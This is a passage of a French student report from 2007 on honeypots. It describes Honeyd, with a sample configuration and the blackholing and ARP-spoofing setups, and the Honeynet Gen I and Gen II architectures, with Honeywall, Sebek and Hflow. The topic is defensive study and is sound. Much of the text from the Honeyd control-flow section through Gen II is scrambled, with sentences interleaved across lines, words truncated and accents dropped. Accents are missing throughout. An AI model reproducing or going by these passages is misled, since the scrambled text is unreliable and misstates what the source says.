71
TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI Institut de la Francophonie pour l’Informatique TRAVAIL D’INTERET PERSONNEL ENCADRE POTS DE MIEL Etudiant : Pham Quyet Thang Superviseur : Victor Moraru 28 Janvier 2007 - 1 -

Tipe-pham Quyet Thang

Embed Size (px)

DESCRIPTION

fff

Citation preview

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Institut de la Francophonie pour lInformatique

    TRAVAIL DINTERET PERSONNEL ENCADRE

    POTS DE MIEL

    Etudiant : Pham Quyet Thang Superviseur : Victor Moraru

    28 Janvier 2007

    - 1 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Table des matires 1 INTRODUCTION............................................................................................................................... 5

    1.1 DEFINITION .................................................................................................................................. 5 1.2 CLASSIFICATION DES POTS DE MIEL.............................................................................................. 5

    2 TUDE DES POTS DE MIEL .......................................................................................................... 6 2.1 HONEYD....................................................................................................................................... 6

    2.1.1 Introduction ............................................................................................................................ 6 2.1.2 Fonctionnement ...................................................................................................................... 7 2.1.3 Discussion............................................................................................................................. 13

    2.2 HONEYNET................................................................................................................................. 13 2.2.1 Introduction .......................................................................................................................... 13 2.2.2 Fonctionnement .................................................................................................................... 14 2.2.3 Discussion............................................................................................................................. 25

    3 INTEGRATION DES HONEYPOTS DANS UN SYSTEME DE SECURITE DU RESEAU... 25 U3.1 ARCHITECTURE GLOBAL ............................................................................................................ 25 3.2 INSTALLATION HONEYD............................................................................................................. 26

    3.2.1 Configuration Honeyd .......................................................................................................... 28 3.2.2 Lancement et teste du fonctionnement .................................................................................. 31

    3.3 INSTALLATION HONEYNET......................................................................................................... 34 3.3.1 Configuration Honeynet ....................................................................................................... 37 3.3.2 Lancement et test du fonctionnement.................................................................................... 39

    4 EXPERIMENTATION SUR HONEYPOTS.................................................................................. 42 4.1 OUTIL METASPLOIT POUR TESTER DES EXPLOITATIONS ............................................................. 42

    4.1.1 Comment faire une attaque................................................................................................... 42 4.1.2 Metasploit ............................................................................................................................. 45

    4.2 HONEYD..................................................................................................................................... 45 4.2.1 Exploits vers honeyd install sous RH9................................................................................ 45

    4.2.1.1 Exploitation du web serveur....................................................................................................... 45 4.2.1.2 Exploitation du ftp serveur......................................................................................................... 48

    4.3 HONEYNET................................................................................................................................. 50 4.3.1 Exploits sous WIN 2000 None Service Pack......................................................................... 50

    4.3.1.1 Exploitation LSASS-BIND WIN 2000 ...................................................................................... 50 4.3.1.2 Exploitation LSASS-ADDUSER WIN 2000 ............................................................................. 55

    4.4 STATISTIQUES DES ATTAQUES REELLES...................................................................................... 59 4.4.1 Honeyd.................................................................................................................................. 59 4.4.2 Honeynet sous WINXP SP 1 ................................................................................................. 64

    5 AVANTAGES ET INCONVENIENTS DES POTS DE MIEL .................................................... 67 5.1 HONEYD..................................................................................................................................... 67

    5.1.1 Avantages ............................................................................................................................. 67 5.1.2 Inconvnients ........................................................................................................................ 68

    5.2 HONEYNET................................................................................................................................. 68 5.2.1 Avantages ............................................................................................................................. 68 5.2.2 Inconvnients ........................................................................................................................ 69

    5.3 HONEYD VS HONEYNET ............................................................................................................. 69 6 CONCLUSION ................................................................................................................................. 69 7 REFERENCES.................................................................................................................................. 70

    - 2 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Table des figures FIGURE 1 UNE ARCHITECTURE DE HONEYPOT LE PLUS SIMPLE [2]................................................................... 5 FIGURE 2 LE RESEAU DEMONTRE LA TECHNIQUE BLACKHOLING [2] ......................................................... 7 FIGURE 3 HONYED REOIT DES TRAFICS POUR HONEYPOTS VIRTUELS EN BASANT SUR UN PROXY ARP ET

    SIMULE AU NIVEAU IP STACK POUR LES SYSTEMES DEXPLOITATION DIFFERENTE [8] ...................... 8 FIGURE 4 SCHEMA ILLUSTRE LARCHITECTURE DE HONEYD. .......................................................................... 9 FIGURE 5 UN EXEMPLE DUN TEMPLATE WINDOWS SOUS HONEYD [2]...................................................... 11 FIGURE 6 UN RESEAU ILLUSTRE LA COMBINAISON ENTRE HONEYD ET SNORT............................................... 12 FIGURE 7 UN EXEMPLE DU SYSLOG UNE FOIS AYANT UNE ATTAQUE AU ROUTEUR DE CISCO [2] ................... 12 FIGURE 8 LE SCHEMA DU RESEAU DE GEN I [2] ............................................................................................. 14 FIGURE 9 LE SCHEMA DU RESEAU DE GEN II [2]............................................................................................ 16 FIGURE 10 LA FIGURE ILLUSTRE LE SENSEUR HONEYWALL COMBINE AVEC SNORT-INLINE .......................... 17 FIGURE 11 LA FIGURE ILLUSTRE LARCHITECTURE DU SEBEK....................................................................... 18 FIGURE 12 LA FIGURE ILLUSTRE LE REMPLACEMENT DE LA FONCTION READ() DANS LESPACE DU NOYAU .. 19 FIGURE 13 LA FIGURE ILLUSTRE LA TETE DU PAQUET SEBEK ........................................................................ 20 FIGURE 14 LA FIGURE ILLUSTRE UN ARBRE DES PROCESSUS ......................................................................... 21 FIGURE 15 LA FIGURE ILLUSTRE LES SOURCES DES DONNEES COLLECTEES DANS UN HONEYNET .................. 21 FIGURE 16 LE DEPOT DES DONNEES DU HONEYNET ....................................................................................... 22 FIGURE 17 LA FIGURE ILLUSTRE LA FONCTION DU HFLOW ............................................................................ 23 FIGURE 18 LE SCHEMA DES DONNEES DANS LA BASE DE DONNEES RATIONNELLES ....................................... 23 FIGURE 19 UN EXEMPLE DUNE CONNEXION SSH CAPTUREE PAR HONEYWALL ET ANALYSEE PAR HFLOW ... 24 FIGURE 20 LE SCHEMA DU RESEAU GLOBAL DE HONEYNET .......................................................................... 26 FIGURE 21 HONEYPOTS VIRTUELS SOUS RH9................................................................................................ 30 FIGURE 22 LARBRE DES PROCESSUS CONCERNE LA SESSION SSH................................................................ 41 FIGURE 23 LES KEY-STROKES CAPTUREES PAR SEBEK CLIENT................................................................. 42 FIGURE 24 LARBRE DES PROCESSUS DANS HONEYD ..................................................................................... 48 FIGURE 25 LA CONFIGURATION DU RESEAU DANS LEXPERIMENTATION DE HONEYD ................................... 60 FIGURE 26 LE NOMBRE DE CONNEXIONS A LADRESSE PUBLIQUE ................................................................. 60 FIGURE 27 LE NOMBRE DE REQUETES A LA MACHINE 10.0.1.6 ...................................................................... 61 FIGURE 28 LES ADRESSES ONT LES PLUS DE CONNEXIONS A LADRESSE PUBLIQUE ....................................... 61 FIGURE 29 LA STATISTIQUE DES CONNEXIONS PAR HEURE ............................................................................ 63 FIGURE 30 LA CONFIGURATION DU RESEAU DANS LEXPERIMENTATION SOUS WINXP SP1......................... 64 FIGURE 31 LES SCANS A PARTIR DE LA MACHINE COMPROMISE VERS LES ADRESSES DE LEXTERIEUR.......... 67

    - 3 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Remerciements Je tien tout dabord remercier Monsieur le Professeur Victor Moraru pour maider dans le Travail dIntrt Personnel Encadr lIFI Je remercie tout particulirement Monsieur TRUONG TUNG Lam pour tous ces conseils sur les connaissances de rseau dans lenvironnement de travail rel dans lequel il travail. Merci galement tous mes camarades dans la promotion XI qui ma support un environnement de travail trs agrable.

    - 4 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    1 Introduction Dans le domaine de scurit des systmes informatiques, il est essentiel danalyser les techniques employes par les hackers, et de savoir leurs tactiques, dtudier leurs motivations, et ainsi leur profil. Le pot de miel est une bonne solution pour ces problmes.

    1.1 Dfinition Dfinition Honeypot, ou pot de miel : une ressource d'un rseau qui accrot la scurit en tant mis l'preuve, attaque ou effectivement compromise. Ce leurre permet de rcuprer des informations des mthodes, tactiques et/ou outils des pirates [1]. Le fonctionnement de honeypot

    Figure 1 Une architecture de honeypot le plus simple [2]

    Un modle typique dun honeypot inclut une machine non-production qui est mise aprs un pare-feu et au sein des serveurs de production (DMZ Dmilitarisions Zone , tous les machines dans cette zone correspondent des IPs publics par NAT Network Address Translation ). Lide est trs simple, parce que un honeypot est un systme de non-production , donc nimporte trafic dentre ou de sortie est considr que ce honeypot a t attaqu ou compromis. En utilisant cette stratgie, le nombre des informations journalises par honeypot trs peu mais trs utile. Cest facile dtudier des attaques visant notre rseau.

    1.2 Classification des pots de miel On a deux manires pour classifier des Honeypots. En destinant au type dutilisateur, on a deux types de Honeypot : Honeypot de

    - 5 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    production et Honeypot de recherche. Honeypot de production (par exemple : BOF, Specter, Honeyd) est suivant utilis par les organisations de commerce. Ce sont les gens qui ne veulent que dtecter les attaques qui viennent de lextrieur et liminer la capacit des attaques le plus possible. En outre, honeypot de recherche (Par exemple : Honeynet Project) est suivant utilis par les organisations de recherche qui veulent tracer les activits des pirates et les tudier. Concernant le niveau dinteraction entre les victimes et les pirates, honeypot est divise dans trois types : basse, moyenne, et haute interaction. Les honeypots dans la catgorie basse interaction ne fonctionne que pour dtecter intrusions, notifier et suivant rarement ragissent aux pirates, ces Honeypots (Par exemple : BOF, Specter, Honeyd) ne simulent que des services vulnrables, pas donner un OS rel. Parmi ces Honeypots, uniquement, le Honeyd qui peut ragir par attirer les attaques, comme la signification du mot Honeypot . Les Honeypots de type moyenne interaction supportent plus de capacit de modifier pour sadapter nos besoins, donc il a plus de capacit de ragir aux pirates. Les Honeypots de type haute interaction , dans le cas de Honeynet Project, il fournit une solution de scurit globale pour un rseau en simulant un rseau vulnrable entier [3,6].

    2 tude des pots de miel

    2.1 Honeyd

    2.1.1 Introduction Honeyd est un pot de miel libre de type basse interaction , c'est--dire pas de systme dexploitation rel pour permettre aux hackers dacqurir laccs de dans, il ne simule que des services. Lors quil dcouvre un effort de connexion un IP, il falsifie cette adresse IP mais pas offrir de systme rel et rpond au pirate avec cette adresse feint. Ds ce moment l, il communique au hacker comme une victime. Cest la signification principale du mot honeypot . En effet, un Honeyd peut surveiller des milles dadresse IP et simuler les IPs au niveau de IP stack . Dailleurs, Honeyd peut simuler des systmes dexploitation diffrents simultanment [2]. Techniques surveillant des IPs Pour surveiller des IPs non distribus dans le rseau local, Honeyd applique un des deux techniques disponibles : blackholing et ARP spoofing . Blackholing

    - 6 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Avec la technique blackholing , Honeypot est mis dans un rseau non-production , et tous les IPs dans la classe IP du rseau sont configures dans le routeur pour re-expdier les trafics du rseau vers le Honeypot :

    ip route 10.0.0.0 255.0.0.0 10.0.0.1 La o : 10.0.0.1 est un honeypot

    Figure 2 Le rseau dmontre la technique blackholing [2] ARP spoofing La technique ARP spoofing est effectue en utilisant un outil Arpd . La fonction de Arpd est dcouter les paquets qui traversent dans le rseau, de vrifier ladresse IP de destinateur dans les paquets si cette adresse est distribue ou non. Pour faire a, Arpd envoie un paquet ARP who-is (Par exemple : arp host 192.168.1.100) correspondant cet IP, si pas de rponse, c'est--dire cet IP est une adresse non distribue. Donc, il assigne cet IP son adresse MAC (Par exemple : arp -s 192.168.1.100 00:10:4B:70:14:E7), et annonce au routeur. Ds ce moment la, il a encore une autre adresse IP, et communique lattaqueur avec le support du routeur (par le tableau NAT).

    2.1.2 Fonctionnement Rseau virtuel dans honeyd [8]

    - 7 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Figure 3 Honyed reoit des trafics pour honeypots virtuels en basant sur un proxy arp et simule au niveau ip stack pour les systmes dexploitation diffrente [8] Dans cette configuration du rseau ci-dessus, honeyd est install sur la machine 10.0.0.2 (souvent sur une machine dUnix , la version sous WINDOWS est en cours de dvelopper), avec le support dun routeur virtuel 10.0.0.1 qui est configur dans le fichier de configuration du honeyd, ce routeur va diriger les requtes aux IPs non distribus 10.0.1.101-10.0.1.103 vers les machines virtuelles qui sont dfinis selon les templates dans fichier de configuration du honeyd [8]. Architecture globale du honeyd [8]

    - 8 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Figure 4 Schma illustre larchitecture de honeyd. Des paquets dentre sont expdis un traiteur de protocole. Pour TCP et UDP, les services configurs reoivent des nouvelles donnes et envoient des rponses sil est ncessaire. Tous les paquets de sortie sont modifis par le moteur de personnalit (pour chaque systme dexploitation) pour imiter le comportement de la configuration de rseau. Le routeur (en cyan) est une option et utilis si Honeyd simule une topologie de rseau [8] Source pour tlcharger honeyd toolkit : http://www.honeyd.org/release.php Composants du honeyd Hte virtuel - Personnalit : utiliser des empreints partir du fichier nmap ou xprobe. - Ports : dfinition de ractions sur chaque port et son protocole. - Services : dfinition des scripts combins sur chaque port et personnaliser des paramtres pour chaque script. Rseau virtuel - Point dentre du rseau virtuel (ou routeur dentre) : deux sources

    - 9 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    choisies, lune cest ladresse IP de la machine sur laquelle on installe honeyd ou lautre cest un IP virtuel gr par arpd (un daemon qui rpond les paquets arp who is ). - Sous rseau : ce sont des plages dIPs accessibles, si on veut configurer un sous rseau hirarchique, on peut ajouter plus de routeurs virtuels et les rseaux combins avec ceux. - Liaison entre les htes et leurs @IPs : chaque hte est combin avec une adresse IP par la dfinition bind , la suite. Services - Scripts feints : ce sont les scripts crits par le but personnel de chaque personne, ces scripts simulent un peu des ractions pour chaque type de service (par exemple : telnet, ssh ou iis serveur). Leur but est de capturer quelques informations dans les requtes du pirate (le plus simple est le compte ou le mot de passe ou les PAYLOADs utiliss). Source pour tlcharger : http://www.honeyd.org/contrib.php - Proxy : pour bien analyser les activits du pirate, une autre faon est lexpdition dune attaque vers une machine rel (par exemple : avec le protocole chiffr SSH, on utilise un sniffeur ou modifie le noyau pour capturer des donnes avant quelles sont chiffrs pour envoyer au pirate). Un exemple du fichier de configuration du honeyd gnr par outil RandomNet Source pour tlcharger cet outil : http://www.citi.umich.edu/u/provos/honeyd/ch01-results/3/ Fichier honeyd.honeypots.conf ########## honeyd.honeypots.conf generated by RandomNet ########## Sun Jan 21 00:30:56 ICT 2007 # Router/Routes Setup route entry 10.0.0.1 route 10.0.0.1 link 10.0.1.0/24 # Router templates create router_template0 set router_template0 personality "Zyxel ZyNOS based router (ZyNOS)" set router_template0 default udp action open add router_template0 tcp port 22 "test.sh" add router_template0 tcp port 80 "web.sh" # Host templates create default set default personality "Windows XP Pro" set default default icmp action open add default tcp port 23 "router-telnet.pl"

    - 10 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    add default tcp port 22 "test.sh" create host_template5 set host_template5 personality "Windows XP Pro" set host_template5 default tcp action reset add host_template5 tcp port 23 "router-telnet.pl" add host_template5 tcp port 80 "web.sh" create host_template8 set host_template8 personality "Windows 98" add host_template8 tcp port 22 "test.sh" create host_template11 set host_template11 personality "Linux 2.4.20-8" add host_template11 tcp port 23 "router-telnet.pl" add host_template11 tcp port 22 "test.sh" # Router bindings bind 10.0.0.1 router_template0 # Host bindings bind 10.0.1.101 host_template8 bind 10.0.1.102 host_template5 bind 10.0.1.103 host_template11 Pour avoir plus dtaill de la faon de configurer un rseau complexe, consulter http://www.paladion.net/papers/simulating_networks_with_honeyd.pdf Contrle des flux des requtes Une fois que le Honeyd reconnat une attaque, il va dmarrer un service

    uration.

    haque service est combin avec son templte dun systme dexploitation

    eate windows

    Figure 5 Un exemple dun templte WINDOWS sous Honeyd [2] es services feints, en effet, on peut implmenter dans nimporte langage de

    .

    correspondant le port de la requte dj dfinie dans son fichier de configCe service soccupe de communiquer avec lattaqueur, tracer des activits malicieuses par syslog (le log du systme dexploitation) ou par le script dans ce service. C crset Windows personality "Microsoft Windows XP Professional SP1" add windows tcp port 80 "perl /etc/honeyd/scripts/iis/main.pl" add windows tcp port 23 proxy real-server.tracking-hackers.com:23# bind specific IP addresses to specific templates bind 192.168.1.200 windows

    Lprogrammation, et le scnario dpend du but et du niveau de trace ncessaireDonc, on peut personnaliser ces scripts par dfaut pour sadapter les exigences spcifiques. De plus, une autre caractristique est le proxy dans Honeyd. Un proxy permet dune connexion partir du pirate dtre dirige vers un autre systme rel qui soccupe danalyser plus dtaill les activits du pirate. Par

    - 11 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    exemple, une attaque sous le protocole SSH Honeypot est dirige vers unemachine relle pour analyser facilement plus dtaill des activits en utilisant uoutil sniffeur (Snort, par exemple).

    n

    Figure 6 Un rseau illustre la combinaison entre honeyd et Snort

    cquisition des informations

    oneyd est conu pour collecter des informations partir de deux ressources :

    .

    pr 22 12:42:09 honeypot honeyd[27614]: E(192.168.1.10:1768 -

    igure 7 Un exemple du syslog une fois ayant une attaque au routeur de Cisco

    ne autre ressource est un sniffeur (par exemple, Snort est un outil pour trafics

    t

    A Hsyslogd et un sniffeur. En gnral, une fois ayant une communication un des honeypots, elle est suspecte comme une attaque. Donc, les donnes dans syslogd sur la machine host sont les traces des activits malicieuses du pirate A 192.168.1.200:23): Attempted login: lance/cisco F[2] Ucapturer tous les activits et key-strokes mais par chiffres). Parce que lesqui arrive au honeypot est considr comme les attaques, donc, les donnes journalises du sniffeur sont des activits malicieuses. En utilisant un Honeypoavec un sniffeur en mme temps, on peut rduire la capacit de transport loge. Coordonner avec un outil danalyser des donnes journalises (Snort-Rep

    - 12 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Source http://people.ee.ethz.ch/~dws/software/snort-rep/ - ou Acid Source http://acidlab.sourceforge.net/ ), on peut construire une solution entire de scurit, partir de dtection des attaques, surveiller des activits malicieuannoncer les menaces au administrateur pour ragir dans le cas durgence.

    ses et

    2.1.3 Discussion

    es risques

    ien que Honeyd propose une solution assez bonne pour attirer des attaques,

    nt

    petite s

    2.2 Honeynet

    oneynet est un grand projet pour rechercher des attaques qui viennent de la

    e

    it

    2.2.1 Introduction

    oneynet, ce nest pas un logiciel en paquetage, elle est une architecture dont

    r

    L Bdcevoir et rechercher le profil des pirates, mais il ne simule que les services (pas de environnement rel) et ainsi le niveau de IP stack, donc les pirates nopas beaucoup de chances pour compromettre ces systmes. Par consquente, les informations collectionnes ne ressemblent pas ce que on attend. Dailleurs, utilisant un honeypot comme Honeyd est trs dangereux, unefaute dans la configuration peut provoquer un conflit de IP et perdre des paquetlgaux envoys aux systmes de production.

    Hcommunaut des pirates. Lobjectif du projet est de rechercher des outils, des tactiques et des motivations des hackers. Diffrer aux autres solutions de pot dmiel qui nmulent que des services ou modifient le noyau dun seul systme. Avec Honeynet, aucune simulation, aucune modification, autrement dit, il fourndes environnements rels comme Solaris, WINDOWS XP, Cisco etc .. avec leursservices originales.

    Hlide ressemble un seau ou les poissons sont dans le seau [2]. Honeynet est le seau et les attaques sont des poissons. Ladministrateur observe des activitsmalicieuses par les outils intgrs pour accomplir trois exigences suivantes : contrler des donnes, capturer des donnes et collectionner des donnes (latroisime pour les honeynets distribus). Contrler des donnes est de contrledes activits du pirate, dassurer quil ne peut pas compromettre des autres non-honey-systmes. Capturer les donnes pour observer ce qui sest pass dans le honeynet. Le projet Honeynet cre un document dfinition, exigences, et standard pour prsenter de ltape ltape de construire un Honeynet enutilisant des outils disponibles (Snort, syslogd etc.) [2 Annexe D].

    - 13 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    2.2.2 Fonctionnement

    t pro ures comprises comme Gen-I (la premire nration en 1999) et Gen-II (la deuxime en 2001). La suit, on va tudier

    Honeypo jet a pass 2 architectgchaque gnration et leurs avantages et aussi dsavantages. Gnration I

    Figure 8 Le schma du rseau de Gen I [2] Modle :

    s autres pots de miel, Gen I met un pare-feu entre le rseau local et extrieur. Gen I spare le rseau de Honeynet et le rseau de production pour

    est compromis, pour assurer que le hacker ne peut as continuer attaquer les autres non-honey-systmes (par exemple DDos, un

    t a (un

    r outil pour journaliser des trafics, mais la valeur des formations loges nest pas beaucoup (seulement IPs de source et de

    Comme lella scurit. Toutes les donnes qui viennent ou sortent doivent traverser le pare-feu. Dans cette architecture, le pare-feu joue un rle de contrle des donnes. Les honeypots des systmes dexploitation diffrentes capturent les donnes envoyes par le pare-feu. Contrler des donnes Une fois un des honeypotptype dattaque en utilisant des paquets ICMP), le pare-feu permet tous les paquets dentre mais limine seulement de 5 10 connexion de sortie pour viter la suspicion du hacker. Deux solutions pour le pare-feu que Honeynechoisi sont : soit FireWall-1 pour Windows (Societe CheckPoint), soit IPTable outil disponible dans les systme de base UNIX). Capturer des donnes Le pare-feu est le premiein

    - 14 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    destination), il na pas de capacit pour tracer les key-strokes et les donnetlcharges. Cependant, parce quil na pas utilis une base de signaturil peut capturer non seulement des ancien attaques et ainsi des nouveaux attaques. Le deuxim

    s e donc,

    e outil choisi pour journaliser les trafics est un systme IDS nstrusion detection systme trs connu est Snort [5]). Comme ce qui est

    es de viter

    ne

    er les donnes est les pots de miel eux mme. ans Gen I, il utilise un serveur de journal qui lance syslogd et chaque honeypot

    faons ordinaires de journaliser ne euvent pas dchiffrer linformation, Honeynet choisit la solution de modifier un

    u

    a deux avantages : il capture une grande information en ar un systme IDS et ainsi les attaques inconnus.

    er avanc de ompromettre les autres systmes (il faut accepter quelques connexions de

    er er

    de

    (Ireprsent sur le diagramme du Gen I, un systme IDS utilise deux cartrseau (NIC) pour connecter tous les deux rseaux spars. Mais pour la possibilit de pntrer sous cette route, cette systme IDS est assign aucuadresse IP (IDS fonctionne sur la deuxime couche dans le modle OSI, cest lacouche lien de donne ). Le troisime tiers pour capturDenvoie son syslog vers ce serveur. Avec les attaques qui utilisent SSH, les ppeu les shells aux shells de type Trojan pour diriger les keystrokes aserveur de journal. Avantages : Gen 1 dtail p Dsavantage : Limitation contrler et empcher le hackcsortie pour viter la suspicion du hacker). Ce nest pas difficile un hackavanc de trouver quil soit dans un pot de miel ( cause du pare-feu, le hackpeut vrifier par la commande ping, si a TTL dcrment) et pas beaucoup valeur pour leurrer des attaques. Gnration II

    - 15 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Modle : Pour rsoudre la limitation du Gen I limitation des connexions enseur Honeynet . Le senseur est la combinaison entre un pare-f mment, plus facilement

    ( bridge ) entre deux rseaux (lun Honeynet et lun de production). Avec ce ot (par la

    ommande ping, aucune TTL dcrment). Une grande diffrence cest que au point de troisime couche (IP), honeynetEn effet, au deuxime couche (la couche lien de donne ), le rseau est ivis par la partie de production et de honeynet.

    ontrler des donnes (les outils Howash Snort inline et Snort, Iptable)

    Figure 9 Le schma du rseau de Gen II [2]

    (exactement cest la de sortie), Gen II utilise un s

    eu et un systme IDS, videde le dployer. Dans ce cas l, le senseur joue un rle comme un pont

    senseur, le hacker ne peut pas percevoir quil est dans un honeypc

    est une partie du rseau de production.

    d C Rf. : http://www.dfn-cert.de/events/ws/2005/dfncert-ws2005-f1.pdf Diffrer au pare-feu, Gen II nutilise pas le mcanisme de filtrage des acla tte des paquets IP. Il utilise une technologie qui sintitule IDS gateway , c'est--dire le senseur va filtrer les trafics bass sur le type de service. Il posune base de signature (comme Snort [5]) mais ajouter lintelligence pour distinguer entre les activits malicieuses et les activits lgales. Lautre avantage de Gen II cest quil a la capacit

    cs par

    sde

    de modifier les fragments de ode malicieux chaque fois la machine compromise lance distance une

    ttp://sourceforge.net/projects/hogwash

    ccommande vers le senseur. Honeynet Gen II choisit Hogwash (snort - inline) h (Un outil de filtrage des paquets par la

    avant qu'elles ttaquent la cible) pour le IDS gateway .

    combinaison avec IDS Snort pour remplacer les paquets malicieux a

    - 16 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Figure 10 La figure illustre le senseur Honeywall combin avec snort-inline

    apturer des donnes (loutil Sebek)

    f. : http://www.honeynet.org/papers/sebek.pdf

    omme le Gen I, pour les attaques chiffrs par SSH, Gen II choisit la solution est

    usqu maintenant, lquipe du projet Honeynet a dj cre des versions de .

    s

    k - Introduction

    e but du Sebek cest de dterminer des informations aprs le pirate compromet

    C R Cde modifier les shells pour sauvegarder des key-strokes . De plus, il a commenc approcher la solution de modifier le noyau pour capturer desdonnes chiffres. JSebek (un outil pour capturer des donnes qui fonctionne comme les rootkits)Sebek en fait est un module cach du noyau qui peut capturer toutes les activitet envoyer les informations quils gagnent vers la machine de journal. Si tous les honeypots dans le Honeynet installent sebek (mme si les machines WINDOWS ou LINUX), le pirate ne peut pas couter ces trafics. Sebe Lun systme et quest-ce quil fait en suite. Pour arriver ce but, les informations

    - 17 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    les plus intressantes et journalises sont les key-strokes du pirate ou sa oprations sur notre systme. Le cas dans lequel, le protocole nutilise pas la technique de chiffre, on peut

    is

    ebek - Architecture

    ebek se compose de deux composants : des clients sebek et un ou plusieurs

    e client sur chaque honeypot envoie les informations vers le serveur. Le serveur

    s

    utiliser un sniffeur ou tcpdump pour couter les trafics sous Honeywall . Maavec les sessions chiffres, la faon pour capturer des donnes en reliant sur flux de rseau nest pas utile. La solution propose par Sebek cest que lon coute les sessions chiffres sur la machine compromise. S Sserveurs sebek. Lcapture ces informations partir deux ressources : lun est sebek deamon et lautre est tcpdump. Une fois que ces informations sont collectes, elles sont pousses une base de donnes (dans Honeywall cest mysql serveur) est le key-strokes sont traits tout de suite.

    Figure 11 La figure illustre larchitecture du Sebek

    ebek - Mcanisme de capturer des donnes

    e mcanisme du fonctionnement du Sebek est combin avec lespace du noyau

    S Lde systme dexploitation. Dans lespace du noyau, ladresse des fonctions

    - 18 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    read(), write() ou socket() sest inscrit dans un tableau des fonctions du noyaUne fois que un client Sebek est install sur un honeypot, il change cette adresse vers sa fonction. Chaque fois ayant un de ces activits, il sauvegades informations comme processus id, pre de processus id, le tampon dentrou sortie, en suite il cre un paquet UDP (le mcanisme denvoyer ces paquets est rfre plus dtaill dans

    u.

    rde e

    http://project.honeynet.org/papers/sebek.pdf (la partie Client Packet Export) et simplement appeler les fonctions originales readwrite() ou socket().

    (),

    igure 12 La figure illustre le remplacement de la fonction read() dans lespace

    ebek - Spcification du protocole

    uis que le nombre des paquets gnrs sur chaque hoyneypot est nombreux,

    i-dessous est la tte du paquet Sebek

    Fdu noyau S Pdonc sebek choit UDP pour faire en paquet des informations, en fait ce protocolenest pas confiant mais avec un petit honeynet cest suffisant. C

    - 19 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Figure 13 La figure illustre la tte du paquet sebek

    es donnes aprs la tte du paquet contient les activits sur honeypot (key-

    our avoir plus dtaill la signification chaque chambre dans le paquet du

    Lstrokes, fichier ou mots de passe). PSebek, consulter la source http://project.honeynet.org/papers/sebek.pdf Analyser des donnes (Loutil Hflow)

    f. : http://www.dfrws.org/2004/bios/day2/Balas_Honeynets_for_DF.pdf R Rf. : http://www.honeynet.org/papers/individual/hflow.pdf Dans cette partie, on va considrer la faon pour bien analyser les donnes

    s st

    a difficult cest que lon na pas de relation entre un processus sur un honeypot

    collectes par Honeynet. Dans Honeynet, on a deux ressources intressante(les paquets capturs et le journal du Sebek) pour analyser. Le problme ici cecomment combiner entre ces ressources pour acqurir des bons rsultats. Lavec des flux de donnes vers celui, et deuximement on manque la relation entre des processus dans un mme honeypot (autrement dit, on narrive pas construire un arbre des processus).

    - 20 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Figure 14 La figure illustre un arbre des processus La solution propose par Edward G. Balas et son quipe est de construire un nouveau systme qui met en relation entre des flux de donnes et le journal du Sebek pour combiner un flux avec un processus et construire un arbre des processus excutables comme ci-dessus. Lavantage de ce travail est que lon peut surveiller des intrusions inconnues par Snort en regardant ces processus et les informations concernes.

    Figure 15 La figure illustre les sources des donnes collectes dans un honeynet Pour combiner des donnes sous les formes diffrentes et partir de plusieurs ressources, Edward G. Balas propose un daemon qui traiter ces donnes en ligne chaque fois quil y a un vnement (une connexion, un vnement IDS ou un nouveau paquet du Sebek). La figure suivant va illustre plus clairement le flux pour traiter des donnes du daemon Hflow.

    - 21 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Figure 16 Le dpt des donnes du honeynet Hflow Hflow est un daemon qui fonctionne en reliant le mcanisme multi-thread et il fait la fusion les donnes ci-dessus automatiquement en ligne. Les donnes dentre :

    - pcap donne. - Evnement du Snort IDS. - Sebek paquet. - p0f OS empreints.

    Les donnes de sortie : - Les donnes normalises et sauvegardes dans la base de donnes.

    - 22 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Figure 17 La figure illustre la fonction du hflow Et voici cest le schma de la relation des donnes dans la base de donnes

    Figure 18 Le schma des donnes dans la base de donnes rationnelles

    - 23 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    A partir des donnes normalises, on peut identifier le type de OS pour chaque flux, ainsi les vnements IDS combins avec les flux (sil existe dans la base de signature du Snort) et les processus sur chaque honeypot et le descripteur de fichier concern au flux. En combinant avec Hflow, Edward G. Balas et son quipe ont construit une interface Web en reliant langage Perl pour bien voir les rsultats. Avec cet outil on peut surveiller des connexions en deux sens, des vnements IDS combins des flux et aussi les empreints de OS, les key-strokes et beaucoup de rapports intressants.

    Figure 19 Un exemple dune connexion ssh capture par Honeywall et analyse

    par hflow Analyser des fichiers journalis par OS (Loutil Syslogd) Une bonne ressource pour surveiller les activits qui ont lieu dans notre systme est les journaux gnrs par syslogd. Syslogd est un deamon qui capture tous les oprations dans le systme. Ci-dessous est un exemple dans le syslog

    - 24 -

  • TIPE: Pots de miel PHAM QUYET THANG Promotion 11 IFI

    Le fichier /var/log/secure

    2.2.3 Discussion En rsume, Honeypot Gen I destine capturer des attaques automatiques et les attaques qui destinent aux cibles d'occasion. Vice versa, Gen II destine aux hackers avancs et les attaques vers les cibles de choix.

    3 Intgration des Honeypots dans un systme de scurit du rseau

